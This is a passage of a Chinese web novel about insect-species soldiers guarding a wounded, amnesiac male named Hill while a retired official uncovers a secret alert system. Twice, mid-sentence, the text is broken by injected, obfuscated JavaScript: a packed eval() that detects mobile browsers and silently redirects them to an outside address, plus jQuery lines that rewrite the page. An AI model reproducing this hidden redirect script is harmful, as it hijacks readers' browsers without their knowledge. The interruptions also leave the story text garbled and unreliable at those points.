然而警告没说完,一声“滴”的强烈震荡,比任何话语都要更快地响在他们耳边,机械声尖锐扎进心脏,军雌们战斗系统自带的雄虫保护程序整个炸开,在所有军雌的共享频道内亮起了红灯。
一时之间,格雷厄姆星域的所有军雌,眼前都被一片红色填充,视网膜上只能倒映系统的高危级警报标志,疯狂闪动着示警。
——“发现受伤雄虫!!!警告!警告!警告!”
3. 相杀者相爱(3)
——“警告!!警告!!”
——“雄虫被攻击!雄虫已受伤!雄虫进入虚弱状态!”
——“已自动连接最近高级指挥官、已触发雄虫保护协议第1条第3款,已自行接入主星雄虫保护法庭……”
——“滴!正在连线中!”
“……”
被一连串尖锐机械音轰炸耳朵的艾格莱,刷地一下摘下战斗保护面罩,面色冰冷直接捏爆了上面的芯片,脚下大步向着几十米外的酒馆走去,随意披在肩上的军制披风扬起一阵迅疾的冷风。
汉特在半途匆忙迎上前,“上将……”
下一秒,披风与战斗面罩砸了汉特一脸,汉特耳边只传来两个冷硬字眼。
“跟上。”
汉特抱住上司丢过来的东西,迅速跟了上去,脚下步伐又急又快,另一只手快速翻点着光屏上的信息,脸色难看,
“上将,开枪打伤雄虫的军雌隶属第三军团,身份是前锋部队第六分队队长,基因等级为B……”
“不需要这些信息,”艾格莱一边大步向前,一边挽起袖口、扯开领口,大股凉风灌在皮肤上,他深灰色的眼眸随之掠过丝丝凉意,
“只需要知道一件事,这件事的结果与身份无关,仅看那位雄虫的意愿。”
“先给我彻底屏蔽主星信号,我会在今天得到那位‘阁下’的谅解签名。”说到其中两个字的时候,艾格莱不轻不重地咬实了尾音,冷淡声线徘徊,透出一丝莫名的寒意。
汉特对此保持沉默。
酒馆内状况变幻莫测,外星种们目瞪口呆地看着,眼中全是对一切接受不能的震惊。
他们眼睁睁看着,一声枪响之后,虫族军雌们浑身僵硬了足足三秒。
为什么这么说,因为就连再迟钝的外星种都能感觉到,这群气势肃杀的黑色杀神,大概是脑子空白了几秒,整个像是茫然到极点的乖宝宝,谁都能看到那种犯了错事一样的卡壳,三秒内气势全无。
可惜三秒旋即而过,虫族整体部队气势骤然拔高,肃杀气更重,几乎没有外星种能再抬头!
以黑发虫族为战斗目标的无死角战斗阵型瞬间变幻,将雄虫无死角保护在了中间。
超新能粒子枪调转枪口,对准了在场的每一个外星种,包括完全僵硬、刚被踹开一点距离的那位星盗。
甚至有几把机械枪口,冰冷而漠然,高高对准了开枪的军雌。
却再没有一把枪,对准希尔。
听不到虫族内部通讯频道的在场外星种,根本不能隔着战斗服得知事情的转向。
一个雌虫被警告后,现场的一切指挥权顷刻逆转,是他们唯一能通过眼睛知道的信息。
于是被打伤的黑发虫族,成了全场最淡定的那位,他困惑地注视着眼前的变化,血液流过脸侧,高颜值皮囊下的战损状态,让他触碰伤口的从容,也自带让人怜爱的滤镜。
对方抹过发丝,能量光束炸开的糟乱弧度被压下,这期间掌腹不可避免擦过脸上的伤口,就这么没轻没重地碾了过去。
正主不在意,可有些痛感神经极度敏锐的外星种,当场感同身受地呲牙咧嘴。
黑发虫族做出这个动作的时候,被战斗面罩挡住面容的军雌们一片骚动,有一些也不再像是凝化了的沉默雕塑,几次伸手想要阻拦雄虫的鲁莽,却又畏缩地缩回了指尖。
但对希尔来说,痛觉神经传来的迟缓反馈,远不如突然转变的现场情况烧脑。
红色的血浸染了指尖,希尔漫不经心地甩了下,其实在对方扣枪的瞬间,大脑就敏锐捕捉到了那丝波动,他可以毫不费力躲过,但那样的举动在当时,与挑衅没有区别。
当时打向自己的枪口只有一把,但对准他的枪口,还有无数把。
希尔抬眼看向那位始作俑者,深紫的瞳仁中,没有一点愤怒的影子。
那名军雌在对视初时,险些丢下手中的枪,后来收拢身型站直身体,隔着战斗面罩看向希尔,仿佛在等着一场即将开庭的审判。
在军雌隔着战斗面罩的眼中,眼前的黑发虫族头顶,正疯狂跳动着一个巨大的红色感叹号,系统生成的指向意味极重,告知着所有人这个虫族的重要性。
一位雄虫阁下。
雄虫的任何数据涉密程度都极高,即使五位雄虫阁下从主星逃走,第三军团中途临时奉命寻找,但他们能依靠的,也只有存储了雄虫阁下生物信息的检测仪,其余更高信息,例如长相姓名之类,则需要更高权限才可翻阅。
因此现场的很多军雌,包括这名接住纹章警告开枪的军雌,此时都以为这名雄虫就是他们最后要寻找的那位阁下。
疑惑点在于检测仪为什么没有第一时间响应,反而是在受伤之后,由雄虫保护程序自发检测警告。
开枪的军雌沉默上前,在希尔微眯起的眸光注视下,掀开了头上的战斗面罩,一张硬朗面庞暴露出来,额头灰色的触角无精打采垂着。
他右手扣胸行了一个军礼,神色坚硬愧疚,单膝就要跪下表达歉意。
艾格莱踏入酒馆,抬眸看见这一幕神情漠然。
军雌的腰身微微弯下,膝盖即将碰地——
而就在这瞬间,希尔的瞳孔倏地竖起,骤然转成虫族战斗意识下的第二形态!
下一秒,黑发雄虫一脚踢向将要碰地的军雌膝盖,还沾着血的右手震惊提起趔趄起身的军雌,一系列动作行云流水。
他低头刷地一下看了眼地面,似乎真的确定军雌是要下跪,整个虫向后退了一步,顺手也将军雌推离了自己身前距离。
没有被枪击吓到的雄虫,在无数军雌古怪注视下,脸侧被能量波划开的伤口依旧淌着血,却反倒被一个亲手交出枪械的雌虫吓到了,敛起的眉峰压住眼距,尖锐竖瞳炸毛一般,雄虫这一刻有些凶,说出的话却卡了喉。
——“不是……你这,你干嘛??”
仿佛军雌对他下跪的举动,比对他开枪还要过分。
茫茫然被踢着膝盖借力站起来,又被雄虫反手提起来的军雌,与一脸你要害我??
——的雄虫面面相觑,他迟疑道:“阁下,我愿意接受您的任何问责!”
荒谬至极。
希尔下意识“哈”了一声。
空白的记忆海中依旧没有碎片浮现,身体面对某些情况的下意识反应,却比记忆要先一步浮出水面。
隐约有种奇怪的直觉,似乎他如果任由眼前的雌虫对他下跪,未来……未来好像会被揍??
希尔身体在和大脑打架,最终在扭曲怪异的沉默中,他语气温和,垂下眼睛不知道是在平复谁的心绪,非常礼貌地询问,生怕眼前军雌又做出一些意外举动,
“请问,我为什么要问责你?”
——来自依旧不知道自己是一个雄虫的希尔。
军雌刚要开口,在余光出现某道身影时,当即转身一个军礼,神情肃穆端正,与面对希尔时的温驯沉默截然不同。
“上将!”
说完后,他像是想到了身边还有一位雄虫阁下,身上的气势又稍稍降了些许。
才刚从那样的军雌身上,感觉到一点熟悉影子的希尔,面对这种转变若有所思,他转过视线,看向冰凉视线始终打量着自己的、被称之为上将的雌虫。
希尔的视线第一时间看向对方的额头,在那对触角,缓缓转了弯朝向自己后,那种对方真的是雌虫的确定感,才莫名其妙地涌上心头。
艾格莱深灰色眼睛不带任何情绪,其中映入希尔的身影,在这一刻,珍贵的雄虫阁下也只能沦为他眼底渺小的影子。
他的视线从雄虫那张格外俊美的脸上扫过,视线碰撞的时候,雄虫眸底掠过的锋芒,与面对军雌是完全两个态度。
艾格莱不知为何嗤了一声,简单地挥了挥手,已经蠢蠢欲动多时的医疗部队一鼓作气涌上,陷入雌虫包围圈的希尔瞳孔哗地一下变圆,“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136045|164455||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
等等,这个伤口不需要——”
“咳咳咳……”
高昂的医疗喷雾淹没了视线。
医疗兵虎视眈眈地注视着雄虫的伤口,直到亲眼看见愈合,脸上的神情才像是老母亲看见崽崽一样,突然就柔和下来,视线中一股看着珍惜物种的灼热,看着希尔。
希尔恨不得贴墙站立,认知上微妙的错位感再度浮现,雌虫们并没有注意到,雄虫完全敏捷地避过了每一个可能出现的肢体碰撞。
这期间,艾格莱转头看向身后跟来的汉特,语气平缓,“是这位吗?”
汉特一言难尽,他将刚才一幕收入眼底,此时还有些没缓过神来,迟疑着又看了那个黑发的雄虫一眼,才点开上司的光脑递过去,“需要您的权限许可。”
光脑在艾格莱腕上连通信号,首先蹦出的是一连串的邮件信息,却连播放音都没能通过,就被一键删除,上将此时才点开那位记录了雄虫信息的文件,最后一份画像出现。
截然不同的两张脸。
“像是兔子和狮子的区别。”艾格莱点评,顺手再度解开光脑,丢给了汉特,“不是他,但他是一个雄虫。”
汉特“啊”了一声,惊恐地看着根本不在意自己说了什么重磅消息的上将。
所有雄虫在雄虫保护协会都具备档案存储,只有毫无身份编号的雄虫,才会在被军雌靠近时毫无反应,换言之,如果这是一个拥有合法身份的雄虫,手拿武器的军雌在靠近的瞬间,身上的战斗系统就会顷刻封锁武器轨道,并发出警告信号提醒军雌。
系统永远以确保雄虫安全作为第一准则。
而不是像这样,在雄虫受伤之后,疯了一样咆哮在每个雌虫的耳边。
系统在为自己的失职而愤怒。
问题是,汉特崩溃,“自从十年前虫族新法典确立,每一位雄虫都要强制性将身份编号输入战斗系统内,不论年龄等级,当时十二军团联手强制下,不可能存在漏网雄虫。”
艾格莱懒懒嗯了声,朝着那边的黑发雄虫仰首示意了下,冷木灰色的松卷发滑到颈后,触角懒洋洋向后,“那不就是一个。”
汉特转过去,目光死死盯住那位阁下,为这个根本不可能出现的特例。
然而目前唯一比较庆幸的是,他们伤到的不是那位身份尊贵的高等级雄虫,一位不知来由的雄虫,连血液中的信息素浓度都弱不可闻,这样的雄虫并不值得第三军团的上将,投注太多的心神。
不是那位阁下,就不会为第三军团招来太多的麻烦。
好吧,汉特心想,捡到一只雄虫,也算是个可以报上去的功绩。
.
授予口头原谅,又给予文字谅解,最后签署自愿协议的希尔,面对检测仪临时给出的报告陷入沉默。
他斟酌着字句,“你们这个机器,坏了吧?”
“阁下,虽然不知道您的身体受到了什么伤害,但是我们会将您安全的送回主星,届时会有最权威的医疗团队为您诊断,您不用害怕任何事,我们绝对不会伤害您!”
主治医疗医师说完后,顿了下,心虚的看了一眼雄虫已经看不出伤口的脸侧,轻轻咳了咳,“您是珍贵的雄虫,我们非常确信。”
半晌,希尔轻笑了一声,指尖随意弹了下这张最普通的身份报告。
他们连一份详细的身体数据都不愿多做,医疗团队的重视仅在分寸之内,那些军雌的珍视流露于表面之上。
但这才是追随在虫族元首身后的第三军团。
曾经听过的那句话在耳边回荡,不知真假却莫名契合。
但脆弱?珍贵?
这无论如何都不是他的形容词。
他们给出的雄虫身份无法得到希尔的认同,他很清楚自己的身体数据,一切都还没到极限。
一个很简单的道理。
机器没出问题,那有问题的只能是他。
这样的情况下,傻子才回虫族主星。
4. 相杀者相爱(4)
时间线向前拉——
当能量光束划伤希尔的脸,血液中对雌虫而言低弱的信息素自然溢出,雄虫保护程序开始警告格雷厄姆星域的所有军雌时。
雌虫战斗系统中,多年前一条费尽心机藏入的隐秘指令被触发,甚至要在雄虫保护程序启动之前,还要快地传回了虫族主星的某个地方。
不同于格雷厄姆星域炸在军雌们耳边的尖锐机械声,得到某条指令的玫瑰警示灯,只是在属于它的空间中安静亮起、闪烁。
它没有发出任何声音。
脚步声停在重吨级高能防爆墙体之外,急促的呼吸声险些压倒苍老的肺部,在这片狭小天地看守了很多年的一个虫族,输入密码的手抖了很久。
不允许录入任何生物信息的墙体,在三次密码错误后,将没有任何余地启动自毁程序。
但这个虫族从不会错。
轰隆——
墙体拉开,灰尘潮雨般弥漫,驻着单边拐杖的虫族停下脚步,玫瑰灯体闪烁的红光,勾勒出这名雌虫的长相轮廓。
——帕尔德。
雄虫保护协会上任首席主任。
这个曾经在军事法庭受到数万虫族审判的首席,只高高在上嘲笑着回应,“我谨代表自己,驳回你们一切审判罪论,求不到爱就哭着闹的蠢货们,你们被武力填满的脑子里,想出的办法只会毁了整个虫族。”
无数记录罪证的闪光灯在那一刻噼啪作响,最后却只记下了这位首席狂妄的风姿。
虫族的青年期漫长到可以等同于虫族整个族群的生命阶段,在虫族能够步入老年期的收尾阶段中,雄虫占据了绝大部分,如果出现雌虫,他们一定站在虫族金字塔的顶端。
就像是帕尔德这位极端维护雄虫地位的高等级雌虫。
这很现实,只有高等级雌虫,才能在付出无数代价后,有资格接触到高等级雄虫阁下的精神力抚慰,一次次扛过基因暴乱期的客观干扰。
帕尔特作为上任雄虫保护协会首席主任,在经过军事法庭的审判过后,他自发退位于虫族内乱发生那一年,也就是15年前。
此后失去了所有踪迹,最后一次出现在公众媒体之前,是虫族内乱平定的那年,在他亲手教导的学生成为雄虫保护协会新一任首席主任的仪式上。
他在媒体面前简单的露了个面,但至此之后他再没出现在公众面前,整个虫族都以为他已经进入养老期间,这位上任主席年轻时候对于雄虫堪称恐怖的保护欲,终于在即将进入老年期时,收起了年盛时的张狂。
恐怕谁也没有想到,这位曾经站在虫族权力中心的雌虫之一,他竟然就在这么个狭小的空间里待了整整15年。
像是一个守墓人,看守着不被任何虫族知晓的秘密。
玫瑰红灯光芒一层一层绽放、闪烁,形成呼吸节奏一般的频率,起起伏伏。
帕尔德喉咙里的笑一声接着一声,直到他大声咳嗽起来,向后险些软倒在地,他依旧一错不错地盯着。
一声稳定心脏的长呼吸后,帕尔德不可置信的喃喃道:“真是不可思议……”
虫族的“心脏”在这一刻,亮了起来。
.
“真是可怕,阁下如果您因此受到精神伤害,请一定要告诉我们,第三军团很乐意为您解忧,只要得到您的允许,曾经吓到您的星盗们,一定会得到该有的下场。”
负责担任雄虫心理辅导员的亚雌,满脸担忧地注视着雄虫,额头的上触角在感同身受的愤怒一般,而这是亚雌最后能终身保持外显的雌虫特征。
虫族生来只有雄虫与雌虫,亚雌是雌虫基因退化的产物,一般出现在二次觉醒反向退化,和数次基因暴乱被迫退化的情况下,亚雌的存在一度是压在雌虫精神弦的最后一根稻草。
哪怕亚雌的身体素质天然高于雄虫,对雌虫来说,抛去某些基因吸引,两者实力并没有区别。
亚雌退化后,基因并不会得到稳定,他们与雌虫,不过是早一点死和晚一点死的区别,不过因为失去虫化能力,脾气要更加温和,很适合担任文职岗。
可每年依旧有太多雌虫,宁愿死在前线战场,让自己的一生量化成亲虫账号上的荣誉货币,都不愿退化成为亚雌。
整个虫族的亚雌数量,连整个族群的百分之十五都不到,可就算如此,这微薄的比率,依旧要比雄虫高。
而现在眼前这名归属于第三军团医疗部的亚雌,是特意来为雄虫作心理疏导的。
虫族科学院在经过几百年的研究后,绝望地发现他们不能改变雄虫脆弱的灵魂,这该死的负面因子,就是顽固地扎根在雄虫的精神力内。
最后放弃一切科技手段,回到最初,大力向其他文明种族学习心理干预,努力让脆弱的雄虫们,在一开始就保持干净的精神海。
效果有,但甚微。
亚雌笑容温顺,语调共情,等着眼前尊贵的阁下,点头同意他的提议,或者发些脾气也可以,要比将阴影藏在心理好太多。
高等级雄虫的体型外貌都极为优越,中低等级的雄虫会在面部身高各种方面呈现基因退化状态,但偶尔也会出现例外,所以这一项只能作为普遍分辨,而不能作为明确标准。
有一项很明确,高等级雄虫受伤之后,血液中的信息素会溢散出,直接影响到周围的雌虫,等级越高影响越大。
而眼前这位……亚雌眸光轻轻动了一下。
黑发雄虫靠座在对面柔软的沙发中,他只能看到雄虫低眸,很密的睫毛在鼻骨洒下侧影,脸部轮廓凌厉而漂亮,在光中弯折出优雅的弧度,像是一只小憩的蝴蝶。
没有得到回答,亚雌疑惑收回心神,专注去看雄虫,发现这位阁下垂下的睫毛在困倦地抖动着。
——对方被他聊困了。
亚雌慢一拍反应过来这个事实,一个险些让他怀疑自己职业素养的事实,他当年选修的雄虫心理专业课,明明是满分毕业!
这个时候无论如何都不能打扰雄虫阁下将要入眠的精神,可也不能让雄虫阁下,就这么睡在临时搭建出的心理辅聊室。
亚雌正犹豫,就见刚刚几乎要睡过去的雄虫,睫毛抖了抖,在突然安静的室内又精神地睁开了眼睛,眼睛里流动蔓延的紫色光晕,快速消退成稳定的深紫。
眼睛也很漂亮。
亚雌愣愣地心想,而后满心惊恐。
雌虫在退化成亚雌后,基因暴乱期像是得到补偿一样,暴乱周期数倍长于雌虫,这期间不断衰退的身体素质,会在最后让他们像一只蜷缩的虫子死去。
很多雌虫能容忍自己退化成为亚雌,唯一的理由只是,雄虫有可能出现的偏爱。
但眼前坐在这间心理辅聊室的亚雌,绝对不是其中之一,他在选择作为亚雌活下去的时候,就放弃了雄主这样的奢望。
亚雌不敢再盯着雄虫看,按照礼仪,他本来就不能那样直视雄虫,“阁下,您醒了?”
“我并没有睡着,很抱歉刚才的失礼。”希尔眨了眨眼,让自己更精神一些,“我只是有些困了。”
虽然确实是因为那些无聊的话题。
但希尔的下意识,不会允许他对着一名雌虫说出这样失礼的话。
“那些星盗就算了,他们也算是救了我。”希尔不想暴露出更多问题。
希尔目前作为身份三无雄虫,在记忆全丢的情况下,他不开口讲述来历,没有任何虫族能得知他的过往。
一个在混乱星系混吃混喝的小可怜,险些就要被星盗缠上,他的来历太过干净,哪怕是汉特也找不到太多痕迹。
而那群在希尔口中变相救了他的星盗们,汉特在请示过上将后,也睁一眼闭一眼当不知道。
在没人认出雄虫身份前,谁会想对一只错认成雌虫的虫族动手。
当然,没虫知道一个柔弱的雄虫,是怎么被错认成雌虫的。
不过最主要放弃深究的原因,是汉特他们目前没有太多精力,没必要在雄虫没有主观意愿的情况下,上赶着费心费力地献上殷勤。
因为此行最重要的一个目标,那位来自迪格索伦家族的高等级雄虫阁下,依旧没有半分音讯传来。
在启动家族纹章的定位之前,他们还能通过其他线索找到踪迹,而在家族纹章丢在另一个雄虫阁下的手中之后,这位阁下就像是彻底蒸发了一样,线索全断踪迹全无。
汉特捂住眼睛,“虫神在上—— ”
他们第三军团已经在格雷厄姆星域停靠了太久,再不回主星,连这次军部统一的述职报告都赶不上了,而他的上司艾格莱上将,在这段时间脾气已经忍到了要爆发的程度。
“你们脑子里面填充的是什么??!虫屎吗??”
会议室内有什么东西轰然倒塌,钢架拧成一团的滋啦声足以扎伤耳朵,强力撞击点的震荡,传到了汉特的脚下。
汉特非常明智地止步于会议室门前。
判断失误,上将脾气已经爆发。
“一个雄虫而已,第三军团侦察部队的脸都要被你们给丢尽了!!”
这次多了骨头断裂的声音,汉特冷静分析。
“里面好热闹。”一道声音笑着传到耳边。
汉特点头,下意识要开口,“上将最近脾气……”
他突地住嘴!!
汉特满面惊恐扭头一转,身后几米之外,被他们捡到的雄虫阁下,一脚踩在舷窗落地凸起,一边转过半身,星际军舰外的无垠宇宙,成了这位阁下的背景。
不对,这不重要,重要的是他为什么在对方开口之前,一点没有察觉?!
雌虫超级感知力遇到bug了吗?
汉特惊的忍不住上前一步,触角刷地一下弹起来,“你……”
恰在这个时候,会议室的自动门从里面打开,第三军团长艾格莱上将,双手的黑色手套沾着血迹被他向后一扔,对于很多喜欢赤拳干架的雌虫来说,他更烦的是黏糊东西沾在手上的感觉。
没了军帽的压束,半长的冷木色发丝从前额滑下,被干净的右手薅到脑后,深色眸子朝黑发雄虫的方向冷冷一扫,之前在会议室里蒸腾出的火气未消,这一眼带着极为明显的不耐。
白色衬制里衣下摆收在黑色军裤中,束出清晰劲瘦的腰线,而那双腿,前一秒刚刚把某位侦察队长的脑袋踩在脚下。
然而希尔还是习惯性地先看了一眼对方的额头,在那双恹懒不动的触角上停了一下,才不动声色地将视线放低了一些。
嗯……是雌虫。
艾格莱上将缓缓道:“阁下。”
他微顿了一下,深色眸子逐渐转成正常的灰,多看了几眼之前不怎么在意的黑发雄虫,语气中带着几分警告意味:“随意打量雌虫的触角,是一件很失礼的事情。”
在雄虫面前保持礼仪,衣着整洁这种事,对于第三军团长和放屁没有区别,他这辈子都不会有迎合雄虫喜好的一天。
艾格莱近乎轻慢地颔首示意了一下,转头对汉特说:“过一会再叫医疗兵。”
之后也不在意雄虫是什么反应,转身就离开了。
汉特先是想跟在上将身后,转头又急忙面向希尔,“阁下,上将最近的脾气不是很好,您不要多加在意。”
希尔微笑摇头示意,半个身体支力在身后的舷窗上,在近乎沉浸式透明体验感的窗体前,雄虫像是下一秒就要跌入宇宙中。
汉特竟在那瞬间,下意识朝着雄虫的方向迈了一步。
“汉特。”艾格莱偏头,静静地看着汉特。
在那双平静的深灰色眼眸的注视下,仿佛一切都无所遁形,汉特额头触角心虚低落,他应道:“在,上将。”
艾格莱看向前方,“走吧。”
他们只能向前。
雌虫们的身影消失在眼前,希尔面上温和“柔弱”的笑容水滴一般蒸发,他揉了一把自己的脸,非常深沉地叹了口气,“这日子什么时候是个头啊。”
这段时间他好好学习了一下雄虫该有的模样,看起来一切表现良好,这里要顺路感谢一下那位不知道跑哪里去了的小动物,硬生生将第三军团绊在了这里。
不过作为雄虫,希尔不可能一直停在这里,几日后主星那边就会有专门的部队与第三军团对接,前来单独将希尔护送回虫族主星。
不过在那之前——
希
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136046|164455||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
尔的目光侧向舷窗外的星河,格雷厄姆星域就在那里闪烁,层叠的星环是宇宙绚烂的杰作,他指腹按在舷窗之上,系统自动降低遮挡观感,除了触感,眼睛与在宇宙真空中直接观看没有区别。
这是穿梭在星河中,最常见到的景象,但希尔看的很专注,脑中不知道那一根神经在隐秘的跳,好像在提醒着自己什么。
有什么事情要发生了。
奇怪的感觉。
.
虫族主星在得知第三军团找到一只新的雄虫,当即与雄虫保护协会进行洽谈,在消息递送到首席主任会议室前,说一不二的现任首席主任莫姆正恭敬为另一名雌虫端倒饮水。
液体流入杯中,莫姆将其轻轻推向另一边。
“老师,恭喜您伤愈。”
莫姆面色欣喜。
虫族大部分媒体都知道一件事,就是上任雄虫保护协会首席主任,当年退位的借口是,被那群脑子有坑的反叛军团的雌虫们气病了,之后不在公众面前露面,也是因为被气坏了身体,光明正大的开始养伤。
出现在这间会议室的帕尔德,并没有接过这杯水,右手一挡先推到了一边,浅褐色的眼睛盯着自己的学生,这双有着皇室血脉的眼睛,在帕尔德这一代已经淡到完全变成了另一个颜色。
“莫姆,不用客套,我来这里找你,是有其他的事情,你坐过来,不需要跟我这么客气。”帕尔德轻轻招手,态度温和。
“还记得我们当年为什么要推动十二军团,强制要求他们的战斗系统内录入所有雄虫的身份信息吗?”
莫姆坐过去,却没有靠近对方的衣物半分,“我记得,一方面是为了防止个别极端雌虫,在事后针对阁下们再次进行报复,另一方面也是为了能够在雌虫们群斗的时候误伤到阁下们时,第一时间进行示警。”
他停了下,看了眼周遭的环境后,才继续开口,“而老师当年暗地里写下的指令,是为了及时发现遗漏的雄虫阁下。”
帕尔德很欣慰,他看上去似乎一直这么好脾气,“没错,这些年雄虫被伤案例,已经保持了很久的百分零,所以恐怕也没虫族知道,我当时设置的系统警告,其范围是会根据雄虫基因等级而调整的。”
莫姆不明白帕尔德想说什么,外界都说他是帕尔德最骄傲的学生,但只有他自己知道。
老师看向他的目光中,只有偶尔才会露出些许满意,大多数时候,与看那些武斗派雌虫们没有区别。
看莫姆没有反应,帕尔德诧异挑眉,“你不知道?”
莫姆非常谨慎:“老师,您直说就好。”
“啊,效率太低了。”帕尔德真心实意地叹了口气,他终于端起水,慢慢饮了一口,“那就等等吧。”
莫姆瞬间坐立不安。
但这种不安并没有持续太久,像是在响应帕尔德的话,门口传来礼貌敲门声。
“首席阁下,第三军团传来讯息!”
莫姆心内疯狂松了一口气,他连忙起身,“老师,我去看一下是什么讯息,也许第三军团找到了迪格索伦家离家出走的雄虫阁下。”
当他的秘书递交上最新讯息,语气中还带着一份欣喜道:“首席阁下,我们什么时候去接这位新的雄虫阁下?”
莫姆的神经却在狂跳,脑中思绪纷转,几乎瞬间串联起来老师那些不明所以的开头,他按下这份报告,语气急促,“雄虫受伤时,系统警告范围?”
秘书茫然了下,“格雷厄姆星域全部军雌……?”
他最后小心看了眼莫姆,似乎有些担心这个问题哪里不对。
莫姆却有些皱眉,只是格雷厄姆星域吗?
莫姆脸色恢复如常,道:“安排接洽完成后,就让舰队立刻出发,今天下午没有其他事情不准再打扰我。”
“顺便向第三军团长艾格莱上将发出明确警告函,他麾下管理实在松散,近年来三例雄虫被伤案例,已经有两起发生在第三军团,等到他回主星后,雄虫保护协会会对他提起质疑控诉。”
“还有,迪格索伦家族将会派遣部队去往格雷厄姆星域,到时候搜寻任务将会由迪格索伦现任少家主接手,请艾格莱上将在军部述职报告截止前赶回主星,这是元首冕下的命令。”
莫姆说完后脸色黑了下,“算了,你将后半段话放到前面,元首冕下的命令这一行字邮件格式顶格加粗标黑。”
秘书连忙应是。
当莫姆回到自己的私人会议室后,帕尔德正对他微笑。
莫名一阵寒意涌上,莫姆压制住心绪,如实说出自己的疑惑,“老师,你当年私自连接到指令那端的数据反馈是不是出错了?遗漏的这位雄虫阁下的基因等级,在危险情况下系统爆发覆盖区域仅仅只是格雷厄姆星域。”
莫姆知道,自己这位老师当年在十二军团录制雄虫生物信息的时候,绝对做了不止这一件事,当时半个系统操控都在他的手上,他做了什么手脚莫姆都不奇怪。
这也是近年那位元首冕下不动声色重建虫族星网端脑服务器的根本原因。
即使虫族出现百年来第一位高达S级的高等级雄虫阁下,他藏了十五年的老师,估计也不会出现在自己的会议室里。
帕尔德非常诧异,“警告条例第一条,在确保雄虫安全下,共频信号发送选择?”
作为学生被折磨多年的本能瞬间出现,莫姆头皮一炸立刻回道:“根据雄虫距离,调动所有军雌战斗频道,高危下允许以军团为单位示警!”
帕尔德慢悠悠抿了口茶,“雄虫受伤级别?”
“擦伤,十级以下。”
“那格雷厄姆星域所在的虫族军团?”
莫姆脸色逐渐发白,“第三军团。”
一个报告中,评级为D级的雄虫,仅仅是十级以下的擦伤,为什么会让系统调动军团级别的高危示警。
茶水杯很轻地一声磕在瓷化桌案上。
“我猜——”帕尔德像是笑了,又像是没笑,他叹了口气,“示警范围覆盖的不止格雷厄姆星域,而是整个第三军团。”
而整个虫族的第三军团到底有多大?
莫姆彻彻底底地打了个寒颤。
5. 相杀者相爱(5)
虫族的第三军团到底有多大?
将问出这句话的虫拉到主星排名最高的军校外,让他扯着喇叭去喊,那些正处于发育期,浑身有劲都没处发的年轻雌虫们,路过他身边,绝对会一脸你在找茬地暴揍上来。
若是有虫在虫族内网论坛上发布,老油条一看就知道这个虫是个新兵蛋子,因为有些事情就在那里,却不会有任何虫将它摆到明面上。
希尔有幸得到第三军团友情赠送的最新款星脑,这是虫族主星和军部联手打造的族群内部论坛,天然屏蔽外族登录。
看完一群插科打诨贩卖精力、悄咪咪求雄虫看看摸摸亲亲、乱七八糟决斗的帖子,希尔滑动虚拟页面,星脑的蓝色纹路在他指间流窜,像是星星落在了指尖上,带起一阵又一阵的蓝色星辉。
希尔没有看到那个答案。
于是在一次心理状况复检的时候,之前负责与他沟通的那位亚雌在聊天中得知了这个困惑。
亚雌的眼神比希尔还要困惑,他看着希尔,似乎终于再一次意识到这位雄虫的常识缺乏有多严重,眼神之中既怜爱又柔软。
于是从自己的星脑上找到了一个论坛链接,在低头操作的时候问道,“这个论坛你知道吗?你可以看看这个的。”
希尔来了兴致,“哪个?”
伸手隔空分享却划了个空的亚雌,这才反应过来他并没有希尔的星脑账号,他下意识抿了抿唇,语气却依旧温和自然,
“我们先加一下星脑的总账号,在通过我的申请时,可以一键选择是否添加社交娱乐等其他软件的好友列表,如果不选择单独软件好友的一键添加,只单纯同意星脑账号的好友,就只有讯息和通讯功能。”
他一边操作一边解释,并将手中的星网页面在希尔面前递了递。
希尔的黑发此时看上去软软的,像是没有经过风雨的贵重花卉,被全面保护的花洋房里的阳光晒得懒洋洋的,最开始初见出现的那点尖锐棱冰变成了绵软云朵,在亚雌伸手的时候,就这么懵懵的凑了过来。
可惜这一切只是视觉上的观感。
亚雌眼皮一跳,几乎在雄虫凑过来的瞬间,半边身体的鸡皮疙瘩立刻密密麻麻,被他靠近的那边胳膊更是整个僵硬,他甚至在无意识捕捉着雄虫的呼吸节奏。
这是下意识想要与对方心脏同频的不妙本能,亚雌像个萝卜一样,突然从坑里蹦了出来。
真的是biu得一下蹦了起来。
他站起来的太过突然,希尔伸出的手下意识收回,后仰的身体本能的避开了那瞬间将要发生的身体碰撞。
希尔没有说话,眼睛里的疑惑却透了出来,不明白这个向来温和平静的亚雌怎么了。
“你是有些不舒服吗?那你先休息吧。”希尔的注意力始终放在彼此的星脑上,他按照刚才的流程,加上了对方的星脑账号,起身颔首礼貌示意,
“我先回去了,麻烦你空闲后,将刚才的论坛链接转发给我,感谢。”
亚雌对待希尔的态度一直有意像是对待一个懵懂无知的孩子,只有这样他才能以更加从容的态度面对这位雄虫阁下,但在刚才对方靠近的时候,他比任何时候都要深刻的感觉到了不对劲。
他或许是第一次在生理感受上,真正发现对方是一位雄虫阁下,但这种感受不应该来自于基因等级被评估为D级的希尔阁下。
亚雌大脑一片混乱,年岁时经历过的礼仪驯导,让他在面对阁下即将离去时,尚且还算自然的露出一个标准柔软的笑,“好的,很抱歉在阁下面前失礼,下次再见时,我会认真向您赔罪的。
啊——
希尔唇角的笑微妙地僵了一下。
就是这种话,总有一种被抢了台词的错觉。
